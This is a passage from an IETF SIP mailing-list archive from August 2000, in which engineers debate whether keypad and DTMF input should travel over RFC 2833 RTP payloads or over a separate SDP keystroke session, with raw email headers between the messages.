Message-Id: <200008101931.AAA24718@hafez.east.isi.edu> To: Skip Cave Cc: sip@lists.bell-labs.com, skipcave@connect.net Subject: Re: [SIP] DTMF and Universal Key Input In-Reply-To: Your message of "Thu, 10 Aug 2000 13:45:31 CDT." Date: Thu, 10 Aug 2000 15:31:00 -0400 From: Colin Perkins Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com --> Skip Cave writes: >Henning S. And Scott P. have made some interesting comments to my post. Before >I go about addressing their issues directly, I would like to make a few comments. ... Without wishing to get into the details of this post, I would point people at RFC 2793 "RTP Payload for Text Conversation" which may be relevent. Colin _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 10 15:47:07 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA12183 for ; Thu, 10 Aug 2000 15:47:07 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 4E503443AA; Thu, 10 Aug 2000 15:47:00 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id 2208244338 for ; Thu, 10 Aug 2000 15:46:57 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id PAA12038 for ; Thu, 10 Aug 2000 15:46:56 -0400 (EDT) Message-ID: <399306B0.22F008C9@cs.columbia.edu> Date: Thu, 10 Aug 2000 15:46:56 -0400 From: Henning Schulzrinne Organization: Columbia University, Dept. of Computer Science X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: sip@lists.bell-labs.com Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [SIP] DTMF Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Besides the philosophical arguments, can somebody please succinctly and technically characterize why RTP transport of digits does not work or is not sufficient, given that - sending a 'tones' RTP packet incurs no more (and plausibly less) overhead at sender or receiver than a SIP packet - sending keyboard input as envisioned here has nothing to do with session setup or control or signaling - RTP with redundancy is at least as reliable as SIP transport - REFER and 3pcc can be used to redirect RTP streams wherever they are needed, either separate from or jointly with the audio stream - a number of implementations already support the RFC 2833 mechanism - why should they support another mechanism? As Colin points out and has been raised on the list before in a different context, if we're into text communications (full keyboard set), the RTP text payload type may also be appropriate. Thank you. -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 10 15:55:56 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA12466 for ; Thu, 10 Aug 2000 15:55:56 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id C0BDB44398; Thu, 10 Aug 2000 15:55:08 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from pmesmtp02.wcom.com (pmesmtp02.wcom.com [199.249.20.2]) by lists.bell-labs.com (Postfix) with ESMTP id 70AD444338 for ; Thu, 10 Aug 2000 15:54:56 -0400 (EDT) Received: from CONVERSION-DAEMON by firewall.mcit.com (PMDF V5.2-32 #42257) id <0FZ300701DXHFQ@firewall.mcit.com> for sip@lists.bell-labs.com; Thu, 10 Aug 2000 19:53:41 +0000 (GMT) Received: from pmismtp02.wcomnet.com ([166.38.62.37]) by firewall.mcit.com (PMDF V5.2-32 #42257) with ESMTP id <0FZ30064QDXH2T@firewall.mcit.com>; Thu, 10 Aug 2000 19:53:41 +0000 (GMT) Received: from CONVERSION-DAEMON by pmismtp02.wcomnet.com (PMDF V5.2-33 #42259) id <0FZ300D01DXFBF@pmismtp02.wcomnet.com>; Thu, 10 Aug 2000 19:53:40 +0000 (GMT) Received: from pmismtp02.wcomnet.com by pmismtp02.wcomnet.com (PMDF V5.2-33 #42259) with SMTP id <0FZ300D01DX9B4@pmismtp02.wcomnet.com>; Thu, 10 Aug 2000 19:53:38 +0000 (GMT) Received: from C25776A ([166.35.224.243]) by pmismtp02.wcomnet.com (PMDF V5.2-33 #42259) with SMTP id <0FZ3009QIDX1VF@pmismtp02.wcomnet.com>; Thu, 10 Aug 2000 19:53:32 +0000 (GMT) Date: Thu, 10 Aug 2000 14:53:21 -0500 From: Henry Sinnreich Subject: RE: [SIP] DTMF and Universal Key Input In-reply-to: To: Skip Cave , sip@lists.bell-labs.com Cc: skipcave@connect.net Message-id: MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit Importance: Normal X-Priority: 3 (Normal) X-MSMail-priority: Normal Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit For whatever it is worth, some of this stuff is already getting to market: "ReplayTV uses Internet as remote control " http://news.cnet.com/news/0-1006-200-2479544.html?tag=st.ne.1002 .bgif.ni Henry >-----Original Message----- >From: sip-admin@lists.bell-labs.com >[mailto:sip-admin@lists.bell-labs.com]On Behalf Of Skip Cave >Sent: Thursday, August 10, 2000 1:46 PM >To: sip@lists.bell-labs.com >Cc: skipcave@connect.net >Subject: Re: [SIP] DTMF and Universal Key Input > > >Henning S. And Scott P. have made some interesting >comments to my post. Before I go about addressing >their issues directly, I would like to make a few comments. > >For user input: >In the future, there will be SIP terminals that only >have a microphone. >In the future, there will be SIP terminals that only >have a video camera. >In the future, there will be SIP terminals that only >have keys or buttons. >In the future, there will be SIP terminals that only >have a smell detector. >In the future, there will be SIP terminals that only >have some sort of weird detector (wink detector? >emotion detector?) that we can't imagine. >In the future, there will be SIP terminals that have >all sorts of combibations of the above user input devices. > >And for user output: >In the future, there will be SIP terminals that only >have a speaker (or two). >In the future, there will be SIP terminals that only >have a display. >In the future, there will be SIP terminals that only >have a tactile transducer (vibrates, >makes bumps, gets fatter or taller). >In the future, there will be SIP terminals that only >have a smell generator. >In the future, there will be SIP terminals that only >have some sort of weird output mechanism (telepathy? >brain socket connection?) that we can't imagine. >In the future, there will be SIP terminals that have >all sorts of combibations of the above user output devices. > >For Control: >In the future, there will be SIP UAs that reside in >refrigerators and let you set the tempreature & find >out if the door is open from anywhere. They will also >let you know what the tempeature in your refrigierator >is, and if the temperature drops below a limit you >set, or if the supply voltage is low. > >In the future, there will be SIP UAs that reside in >your home air conditioner that let you set the >tempreature in your house, & find out if your door is >open from anywhere. They will also let you know what >the temperature in your house is, and if the >temperature drops below a limit you set, or if the A/C >supply voltage is low. > >In the future, there will be SIP UAs that reside in a >baby monitor that let you hear, see, and smell your >baby from anywhere. You will be able to talk to your >baby and pehaps the baby will even be able to see (and >smell?) you. keys on the remote monotor will help >control the camera. There probably won't be any keys >on the baby's terminal. > >Of course, someone will have to figure out what a SIP >"Universal Remote Control" will look like, to control >all of these various gizmos, but that is a topic for >another discussion. > >The point is, that we cannot (and should not) know all >of the kinds of media that SIP will be required to >support today. We only need a mechanism to add new >media types as necessary. Luckily, we already have >that mechanism. It is called SDP. Now, we only need to >define the media types we DO know today. > >Audio, Video, Keystrokes. These three media types are >clearly widely used today, so a specific SDP session >should be defined for each of these media. Luckily, >two of the three have already been done. SDP already >has definitions for video and audio sessions. > >An important point here. We shouldn't try and combine >different media types in one session. A single SDP >session is intended for a single type of media. To be >specific, we should not combine Video & Audio in a >single session. We shouldn't combine Video and >Keystrokes in a single session. We should not combine >Audio and Keystrokes in a single session. > >There is an important rationale behind this >requirement. In an ideal world, there would be a >method for determining the capabilities of a SIP >terminal. A SIP UA could ask another UA just what >capabilities it has. Some of the things you should be >able to determine: >Is the UA is a human-interface device or an automation device? >If it is a human-interface device, then you should be >able to determine what user input mechanisms it supports. >Does it have Audio input (microphones)? If so, how >many? What encoders are supported? >Does it have Video input (video cameras)? If so, how >many? What encoders are supported? >Does it have Key input (keypad)? If so, how many keys? >What labels are on the keys? > >If it is a human-interface device, then you should be >able to determine what user output mechanisms it supports. >Does it have Audio output capability (speakers)? If >so, how many? What audio decoders are supported? >Does it have Video output (screens)? If so, what >resolution and how many? What video decoders are supported? >Does it have tactile output (vibrator, who knows)? If >so, what kind & how many? > >Unfortunately, SIP does not allow an explicit >pre-determination of terminal capabilities today. >However, it does have a try-and-see-if-it-works kind >of determination, which is good enough for now. > >The reason that you only want one media type per >session is because when you use SDP to explicitly >set-up a media session with a UA, that act implicitly >"turns on" that specific media device. Therefore, when >you use SDP to set-up a transmit audio channel from >the remote device, you are essentially telling the >microphone in that device to start transmitting it's >output on that session. When you use SDP to set-up a >transmit video channel from the remote device, you are >essentially telling the video camera in that device to >start transmitting it's output on that session. When >you use SDP to set-up a keystroke session on a remote >device, you are telling the remote device to start >transmitting keystrokes from the keyboard on that session. > >A terminal may have video, audio, and keys as >potential user input mechanisms. For whatever reason, >an application may only want to get audio from a >terminal. The application may not care anything about >the video or keystrokes. You don't want to force the >application to receive video and audio when all it >wanted was audio. You don't want to force the >application to receive audio and keystrokes when all >it wanted was keystrokes. > >If you turn off a session, you turn off the audio, >video, or keystroke transmitter driving that session. >If two or more media types are combined in a single >session, you restrict the capabilities of the >application. If both audio and video are in a single >session, you won't be able to "turn on or off" only >one media type . When you setup the combined channel, >you essentially turn on both media transmitters. You >can only turn on both the audio and video >transmitters, not either individually. > >The same argument goes for keystrokes and audio. You >should be able to set up a session that only carried >keystrokes, or only audio. Otherwise, you prevent the >application from efficiently dealing with it's requirements. >This promotes bandwidth conservation. It also helps >simplify applications. If you don't want the media, >don't set up the session! > >Probably even more importantly, the application may >require that audio, video and keystrokes to go to >different places! This requirement will be key in >implementing advanced applications, and if the media >are all lumped together in one channel, you can't send >them different places. There are lots of applications >even today that need the keystrokes and the audio to >go different places. Some applications just want the >keystokes and nothing else. Some want video and >nothing else. I have applications where I want a >terminal's keystrokes to go one place, and the audio >to go to three different places. I can conceive of >applications where the audio goes one place, and the >keystrokes go three different places. > >RFC 2833 specifies a method for combining DTMF tones >(PSTN-specific keystrokes), an audio session, and >other PSTN signaling events such as ringing and busy >tones, in a single RTP session. While this >architecture is good for the person that just wants to >transport EVERYTHING that's in a PSTN session from one >gateway to another, It may NOT be ok for those who >want to implement general applications in the packet network. > >Of course, we all know the problem that RFC 2833 is >trying to address. The current low-data-rate (LDR) >audio codecs (G.732 &G.729 to be specific) were not >designed to accurately encode tones. These codecs were >designed with a perceptual model of the human voice in >mind. If the listener can understand the un-encoded >speech, the codec was judged a success. None of the >current crop of codecs will convert DTMF or other PSTN >tones with enough accuracy to allow automatic >detectors to reliably extract the original tones from >the encoded/decoded audio stream. > >These LDR codecs are being used to transport voice >traffic over the packet network. However, with the LDR >codecs, the end-to-end keystrokes were getting >distorted to the point that they couldn't be detected! >Many applications in the PSTN rely on the presence of >DTMF in-band, end-to-end signaling, so the network >engineers had to come up with a solution. > >To solve this problem, packet network engineers >logically decided to take the tones "out-of-band", or >at least out of the G.723/729 codec's "band". However, >The out-of-band tones must have enough information to >reconstruct a reasonably intact G.711 PCM waveform out >of the LDR speech codec data, and the out-of-band tone >data. The reconstructed G.711 data needed to be both >legible to the human listener and with the correct >tones for the automatic tone detectors in the PSTN. > >Transporting PSTN signaling over packet networks isn't >a new problem. The H.323 protocol addressed this issue >with the UserInputIntication messages in the H.245 >session. The RFC 2833 designers have done even a >better job of designing a solution to the PSTN >transport problem, using RFC 2833. > >This DTMF transport problem sort of LOOKS like the >keystroke-as-media problem that I have been >describing. However there are significant differences >in the requirements (and hence differences in the >potential solutions) in the two problems. > >The key differences: > >Audio or not? >RFC 2833 focuses on transporting DTMF signals over a >packet network for re-construction of the tones in the >PSTN. RFC 2833 assumes that the stuff it will be >carying are still audio signals, but just special >types. Also, it is assumed that the stuff will all >eventually have to be re-combined, hopefully with >nearly the same charateristics as the original >waveform. As such, detailed information about the tone >frequencies, levels, duration, cadence, and time >reference to the concurrent audio stream, are all >required to be in the transported data. > >For keystrokes-as-media, the assumption is that the >keystrokes are just that - keystrokes. No tones, no >freqencies, no levels, no requirements for >resynchronization, just which key was pressed. At the >most, you may need a duration indication (key-on, >key-off), but this charateristic would depend on >whether the terminal device supported key duration. > >I quote from section 3.1 of RFC 2833: >"If an end system is directly connected to the >Internet and does not need to generate tone signals >again, time alignment and power levels are not >relevant. These systems rely on PSTN gateways or >Internet end systems to generate DTMF events and do >not perform their own audio waveform analysis. An >example of such a system is an Internet interactive >voice-response (IVR) system. > >In circumstances where exact timing alignment between >the audio stream and the DTMF digits or other events >is not important and data is sent unicast, such as the >IVR example mentioned earlier, IT MAY BE PREFERABLE TO >USE A RELIABLE CONTROL PROTOCOL RATHER THAN RTP >PACKETS (my caps). In those circumstances, this >payload format would not be used." > >So according to the authors of RFC 2833, the DTMF in >RTP scheme they define isn't necessarily the best >protocol to carry events such as standard keystrokes >that don't need to be time-aligned, or have specific >power levels or have frequencies. > >Terminal Generalization: >RFC 2833 assumes that the originating device is a PSTN >phone (no self-respecting packet terminal would >generate tones when it's keys were pressed). 2833 >doesn't address the issue of what happens when someone >presses the keys on a SIP terminal, or a PC running a >SIP session. Well, it DOES say something on the subject: > >"(By using RFC 2833) an Internet end system such as an >"Internet phone" can emulate DTMF functionality >without concerning itself with generating precise tone >pairs and without imposing the burden of tone >recognition on the receiver." > >So RFC 2833 recognizes the fact that a SIP terminal >could send RFC 2833-compliant RTP streams to a PSTN >device (presumably through a gateway), if it needs to >really tightly control the delivery of the tones. The >device would then rely on the gateway to generate the >actual tones in the PSTN. Of course, if the packet >device DIDN'T need to tightly control the key input >presented to a PSTN device, and it DIDN't need precice >synchronization with an audio stream, it potentially >could use a much simpler key input protocol to send >keystrokes to the gateway. > >What should be done when a SIP terminal is connected >to another SIP device, and all they want to do is send >keystrokes back and forth? This will be a common >requirement where the device is a SIP UA in a >remote-controlled appliance that only needs keystrokes >for control. Should we use RFC 2833 to send the >keystrokes from the control device to the remote appliance? > >This means you need the RTP protocol. You need to >calculate RTSP stats. You need sequence numbers and >time stamp alignment with the RTP audio (remember, >there isn't any audio in this application). You need >to repeat the keystroke packet every 50ms until the >key is released. What happens if the keystroke >duration is unknown (or is a don't care)? How do you >implement redundancy when the keystroke duration is >less than the repeat rate? Do we need all this stuff >just to get keystrokes? > >Probably the most common keystroke scenario today is a >person interacting with a IVR (Interactive Voice >Response) system. In the PSTN, you automatically get a >two-way audio connection when you connect a call. >However, in most of the today's IVR scenarios, the IVR >only needs an audio path FROM the IVR TO the caller, >to deliver prompts. The IVR doesn't care about audio >coming from the caller. It can do without it. All it >cares about is what keys the caller presses. > >In the PSTN, the audio is delivered to the IVR systems >whether they wanted it or not, since that was the only >way that keystrokes (DTMF) could get to the IVR. In a >packet network, the application server should have the >option to NOT have audio delivered to it - just >keystrokes. This would save bandwidth in the network, >and save protocol processing horsepower on the IVR/server. > >Now, just because the IVR system doesn't need to see >the audio stream doesn't mean that the caller won't be >transmitting audio streams. Many applications (calling >card, conferences) will have the caller's terminal >sending its audio to other places, just not to the >IVR. Or, the caller may need to send his audio AND >keystrokes to the IVR, but just audio (no keystrokes) >to other places. Or the keystrokes need to go other >places. Or, Or, Or. > >In the above example, the IVR/server in the network >may handle thousands of SIP sessions, but all of them >could be just keystroke input sessions. This occurs >any time the application server is the control node >for applications that involve large numbers of two or >three-way calls (calling card, find-me, record/log, >etc.). The application server doesn't actually need >any of the audio or video streams, as the audio & >video streams are going to the various participants as >they communicate with each other. However the server >needs to know about all of the keystrokes from any of >the participants, as that is the method that this >application uses to let the participants indicate what >function is to be performed by the application. > >In this scenario, you don't want too heavyweight of a >protocol for the keystrokes, as that will limit the >number of keystroke sessions that a single server >could handle. The simpler the keystroke protocol, the >more sessions a single server could handle. If I DO >need to receive audio for recording or speech >recognition purposes, I will probably send that stream >to some other device (media recording/storage server, >speech regognition server) in the network, not the >keystroke server. > >The important issue here is that applications residing >in the packet network should be able to get simple >keystroke media messages (no frequencies, no levels, >no timestamps) from the devices on the other end of >the SIP session whether the originator of the >keystroke was a SIP terminal, A SIP phone, a SIP >remote controller, a PC, or a PSTN phone. It should't >be a requirement for the device to support audio or >video streams just to send keystrokes. > >So, in summary: >1) RFC 2833 is intended for a very specific task - >transporting audio signals that would normally be >destroyed by speech codecs over a packet network. This >task is complex and exacting - requiring a powerful >protocol such as RTP with multiple transport >components to implement effectively. RFC 2833 should >be used only by gateways to transport PSTN signaling >between gateways, so PSTN traffic can be routed over a >packet network. RFC 2833 is not the appropriate >protocol for SIP-terminal-to-PSTN or >SIP-terminal-to-SIP-terminal keystroke transport. > >2) When all you have is a simple remote-control device >with a small screen and 15 buttons (no mike or >speaker), RFC 2833 seems a fairly heavyweight protocol >just to carry keystrokes over a SIP session to the >controlled device. This is particularly true if the >transmitting and receiving devices are both in the >packet network. We would still like to use SIP as the >session initiation, but we need s simple, reliable >protocol for the keysroke transport. This is also >suggested in section 3.1 of RFC2833. A similar >requirement was discussed previously for application >servers in a packet network that need just keystroke >input. Perhaps SCTP? > >3) If a SIP device in the packet network needs to >recieve keystroke information from a device in the >PSTN, the SIP device will use SDP to set up a >keystroke session with the gateway that is a proxy for >the PSTN device. The gateway will be responsible for >converting DTMF signals into the simple keystroke >protocol for the SIP device. > >4) If a SIP device in the packet network needs to send >keystroke information to a device in the PSTN, the >gateway will use SDP to set up a keystroke session >with the SIP device. The gateway will be responsible >for converting the simple keysroke protocol from the >SIP device into DTMF signals for the PSTN device. > >So what are the requirements for a keystroke media >transport protocol? > >We need keystroke delivery reliability. You can >imagine what would happen if, when the bank automation >system asked you to type the amout of the bill >payment, you typed $180, but it thought you said $980. >Or, if the remote-controlled A/C heard 99 degrees >instead of 79. > >We need sequencing reliability. You can imagine what >would happen if, when the bank automation system asked >you to type the amout of the bill payment, you typed >$180, but it thought you said $810. Or, if the >remote-controlled A/C heard 97 degrees instead of 79. > >We need simplicity. The simplicity of SIP will allow >keystroke mechanisms to be placed on all kinds of >ultra-simple wireless remote devices, as well as >high-density keystroke-detection servers. These >devices will not necessarily support any audio or >video media. You need a simple, reliable protocol that >doesn't take much processing power, yet meets all of >the transport requirements. > >We need duration. If the protocol is reliable, all you >need is a key-on and key-off messages as a standard >mechanism for all key indications. > >We need standardization. Most devices with keys will >probably have a numeric pad. When you press a 'one' >key on the SIP phone, it should give the same key >media message as when you press a 'one' key on a PC, >or a Cell Phone, or a SIP-based remote control device. > > >Now to the SIP List discussion: >Scott Petrack said: >>"the point is not which one (keys or speech input) will take >>over the world. The point is that the applications >are similar >>in many many cases. Today the user experience is that s/he >>can press '1' or say 'yes'. >Post archived at: >http://lists.bell-labs.com/pipermail/sip/2000q3/002002.html >.......... > >Certainly, some applications (those that use a device >that has both keys and a microphone) will want to give >the user an option for speech or keys for user input. >Other applications (that use a device with only keys, >or only a mike, or that don't want to pay for speech >recognition) will not want to give the user any >options for input. The last part of Scott's statement >is what I particularly disagree with. The information >doesn't need to be encoded as "similarly as possible". >How do you encode a single key event similarly to >5,000-10,000 bytes of audio? For that matter, why >would you want to? > >Scott: >>What is relevant is that the INFORMATION to be encoded and >>transported is IDENTICAL, whether '1' is pressed or >'yes' is said. >http://lists.bell-labs.com/pipermail/sip/2000q3/002002.html > > >The application provider may elect to have the >keystroke "1" mean "no" or "stop" or "begin launch >sequence" or something else. How could you tell the >device to make the keystroke "1" give a response that >is "identical" to some spoken word or phrase? This >model could only be implemented if speech recognition >was implemented in the terminal device AND there was >some protocol to explain to the terminal that the >phrase "begin launch sequence" should send the same >message as pressing the "one" key. I don't think that >all of the terminal providers are planning to embed >speech recognition in their terminals, and I haven't >seen any proposals for a protocol to provide a >"matching" mechanism like this supposes. > >Wouldn't it just be easier to have the "one" key >ALWAYS sent a "one-key-pressed" message when it was >pressed, and the "two" key ALWAYS send a >"two-key-pressed" message, no matter what kind of >device you have? When a word or phrase is spoken into >the microphone, wouldn't it be easier to just send the >few-thousand bytes of data representing the speech, >rather than trying to convert the thousands of bytes >into a single "he-said-stop" or a >"he-said-begin-launch-sequence" message? The >application should sort this kind of stuff out, not >the terminal device. > >More from Scott's post........ >>If you need the keypress to be transported along the >signaling >>path, then you also need the "yes" to be transported >along the >>signaling path. And the encoding should also be as similar as >>possible, since the information to be encoded and >transported is similar. > >This depends highly on the application. In >applications where you want keystroke/speech duality >(every keystroke has an equivalent spoken phrase) your >statement that both media types be sent along the same >path has some validity. However this will be the >exception, not the rule in future aplications. > >Keypads are useful for pre-defined entry and menu >selection that require high reliability. Speech is >useful for making selections across more than a few >possibilities (what city are you going to?) where the >utility is worth the lower reliability (more >re-prompting) and higher cost of speech recognition. >Applications that my company is developing today, use >keys for input in certain situations, speech input for >other situations, and "press-or-say-one" dual-input >for even other situations. We certainly don't want the >keypad to put out the same thing that the microphone does. > >In many cases, the two media types (speech & >keystrokes) go to entirely different devices in the >network for handling. The key-input-handling server >can handle tens-of-thousands of simultaneous keypress >event sessions. The voice recognition device can >handle a few tens of simultaneous recognition >sessions. I will tell the device to send its >keystrokes to my keystroke server. I will tell the >device to send its audio to one (of many) of my speech >recognition servers. NO WAY should those different >media-type streams be "in the same path". Or look the same. > >More from Scott's post........ >>After some DTMF, the session can be modified so that >the call is >>transferred to another host which can handle the >proper audio codecs. > >No, I DON'T want to transfer the call to another host >that can handle the proper codecs. I want to leave the >key input session going to my key-input server, and I >want to RE-INVITE just his AUDIO session to a speech >recognition server, or to a different SIP endpoint to >which I happen to have the port address. > >I will leave the key-input media session attached to >the key-input server so the user can communicate via >keystrokes to me, while I RE-INVITE his audio stream >all over the place (multicast, multi-unicast, x-cast, >you-name-it-cast) depending on the application. I >don't wan't his keystrokes going all over the place, >just like I don't want to see his audio coming to me. > >Occasionally, I may set up an audio (or video) session >with the caller to apprise him of his choices he has >with the key input. Or I may set up a second audio >channel (first channel is going to some other >participant) to my speech reco server so he can speak >his choices rather than using key input. Whatever fits >the application best. > >Henning Schulzrinne says: >>It's not that I think that key(board) input will go >away, just that it >>won't be 12 buttons with numbers and */#. >>Post archived at: >http://lists.bell-labs.com/pipermail/sip/2000q3/001991.html > >You're right. Keyboards will come in all shapes an >sizes. There will be 300-key Katakana keyboards. There >will be Braille keyboards. There will be 101 key >keyboards. there will be European keyboards. There >will be 20 key- keyboards, there will be 12-key >keboards. There will be keyboards with only one BIG >key smack in the middle. There will be soft keyboards >that will allow you to specify the number of keys and >the labels for each one (using SIP perhaps?). > >Not all of these devices will want or need speech >recogniton. However, unless the device is >single-functioned, ALL of these devices must have SOME >way for a user to indicate a 10-digit phone number or >a URL for addressing purposes. > >Some devices will use speech recognition for >addressing. Some will not. Those that can't or won't >accept the costs of speech reco will still have to >have some method of indicating an address at a >minimum. I will be willing to bet that that method >will include at a minimum, a set of 10 numeric keys >and an ENTER and DELETE (or equivalent) button. The >keyboard may have a thousand other keys, but it WILL >have numerics. > >I expect that any device that can connect to the >public data network will require a minimum 12-key >numeric pad to indicate addresses, although alpha URLs >would be a problem. I expect that popular websites >will start adding 10-numeric-digit URLs to allow >portable devices to enable access from simple wireless >devices. Portable devices that don't want to use >speech recognition, will invaribly have keys. The >12-digit keypad will be with us for a long time, I think. > >More Henning Schulzrinne: >>Why tie remote key(board) input to SIP or VoIP? If >telnet (and kin) or >>web-based input modalities are not good enough, we >need to discuss this, >>but that has nothing whatsoever to do with VoIP. SIP >may or may not be >>the appropriate solution there. > >Why tie keys to SIP? Because keystrokes are a terminal >media element just like video or audio. Video & Audio >are in SIP. Perhaps we should ask, why were keystrokes >left out of SIP? Or a better question, why is there >not a keystroke media session defined in SDP like >there is for audio & video? RFC 2833 could be >considered a first pass at the definition of a >keystroke transport mechanism. Perhaps this discussion >should be taking place in the SDP working group. > >Henning: >>I don't want to SUBSCRIBE to the keyboard > >Neither do I. I want a SDP SESSION for that keyboard, >just like I have a SDP session to a microphone and an >SDP session to a video camera. I don't want a SUBCRIBE >or NOTIFY mechanism for keystokes. Nor do I want to >send keystrokes in the InfoMethod message. I want to >be able to multicast, unicast, re-invite keystroke >sessions just like you do audio and video. SUBSCRIBE & >InfoMethod can't multi-unicast my keystrokes. > >Henning: >>I want to have an appropriate interaction with >>an abstract user interface that is far richer. >>For simple ASCII, telnet will probably do the >>trick (or the WAP "card" mode, if you like that model). > >I don't know how you would re-invite a telnet session, >or request a multi-unicast of the telnet session. In >any case, my simple wireless remote control already >has SIP on it to locate the refrigerator in my house >over the public data network. No reason to put the >Telnet protocol on that little thing if all I need is >a simple keystroke to be sent to the refrigerator. >Just SDP-up a keystroke session with the refrigerator, >and set the temp to 38 degrees. > >Henning: >>Also, RFC 2833 (first part) has nothing to do >>with tones. It transports signals which may, >>in the current analog phone system, have a tone >>representation. Analogy is the relationship of >>telnet and pixel rendition. > >Agreed. There is no doubt that RFC 2833 has the >capability to be a keystroke transport protocol. It >has some of the appropriate charateristics. The main >plus for RFC 2833 is that it is an SDP session! This >means that it can be stopped, re-directed, >multi-unicasted, and all of the useful things that we >want to do with keystrokes. It also, with the addition >of a reliability mechanism, could become a reliable transport. > >The real questions are: Is RFC 2833 the appropriate >protocol to send keystrokes in a packet network? > >Is RFC 2198, which is proposed as a potential >mechanism for reliable delivery of keystrokes in RFC >2833, REALLY reliable enough? > >Is the processing overhead required for implementing >RFC 2833 and RFC 2198 appropriate for a simple remote >key entry device that just needs a simple, reliable >keystroke delivery mecahnism? That device doesn't have >audio, no synchronization requirements, no RTCP, just >reliable keys. > >Is RFC 2833 appropriate for a high density keystroke >server (see above)? > >Will RFC 2833 let me tell a device that is sending me >audio and keystrokes, to stop sending me audio but >keep sending keystrokes (or vice-versa)? I can >certainly tell a device that is sending me audio and >video to stop sending me one, but keep sending me the >other, using re-invite. Shouldn't the mechanism for >both of these start-stop procedures be the same >(re-invite a media session)? > >Can you use RFC 2833 to send keystrokes to one place, >and audio three (different) place? > >Can you use RFC 2833 be used to send audio one place, >and keystrokes three (different) places? > >So, these are the issues. > >Stay Tuned. > > >Skip Cave >Sr. Principal Engineer >InterVoice-Brite Inc. > > > >_______________________________________________ >SIP mailing list >SIP@lists.bell-labs.com >http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 10 20:59:16 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA17691 for ; Thu, 10 Aug 2000 20:59:16 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 9AAFA4439C; Thu, 10 Aug 2000 20:59:03 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by lists.bell-labs.com (Postfix) with ESMTP id 2F30544338 for ; Thu, 10 Aug 2000 20:59:00 -0400 (EDT) Received: from imop.cisco.com (imop.cisco.com [171.69.11.44]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id RAA02414; Thu, 10 Aug 2000 17:59:14 -0700 (PDT) Received: from rmahy-home-nt (rmahy-dsl1.cisco.com [10.19.53.122]) by imop.cisco.com (Mirapoint) with ESMTP id AAA17012; Thu, 10 Aug 2000 17:58:57 -0700 (PDT) Message-Id: <4.2.0.58.20000810172817.00cc6a90@lint.cisco.com> X-Sender: rmahy@imop.cisco.com (Unverified) X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Thu, 10 Aug 2000 17:58:09 -0700 To: "Skip Cave" From: Rohan Mahy Subject: Re: [SIP] DTMF and Universal Key Input Cc: sip@lists.bell-labs.com, skipcave@connect.net In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com At 11:45 AM 8/10/00 , Skip Cave wrote: >So, in summary: >1) RFC 2833 is intended for a very specific task - transporting audio >signals that would normally be destroyed by speech codecs over a packet >network. This task is complex and exacting - requiring a powerful protocol >such as RTP with multiple transport components to implement effectively. >RFC 2833 should be used only by gateways to transport PSTN signaling >between gateways, so PSTN traffic can be routed over a packet network. RFC >2833 is not the appropriate protocol for SIP-terminal-to-PSTN or >SIP-terminal-to-SIP-terminal keystroke transport. Why shouldn't SIP UA to PSTN interworking use RFC 2833? The requirements for DTMF "events" synched with audio are the same. I haven't seen a single good argument why SIP UA with an active audio stream with a PSTN gateway shouldn't use RFC 2833. >2) When all you have is a simple remote-control device with a small screen >and 15 buttons (no mike or speaker), RFC 2833 seems a fairly heavyweight >protocol just to carry keystrokes over a SIP session to the controlled >device. This is particularly true if the transmitting and receiving >devices 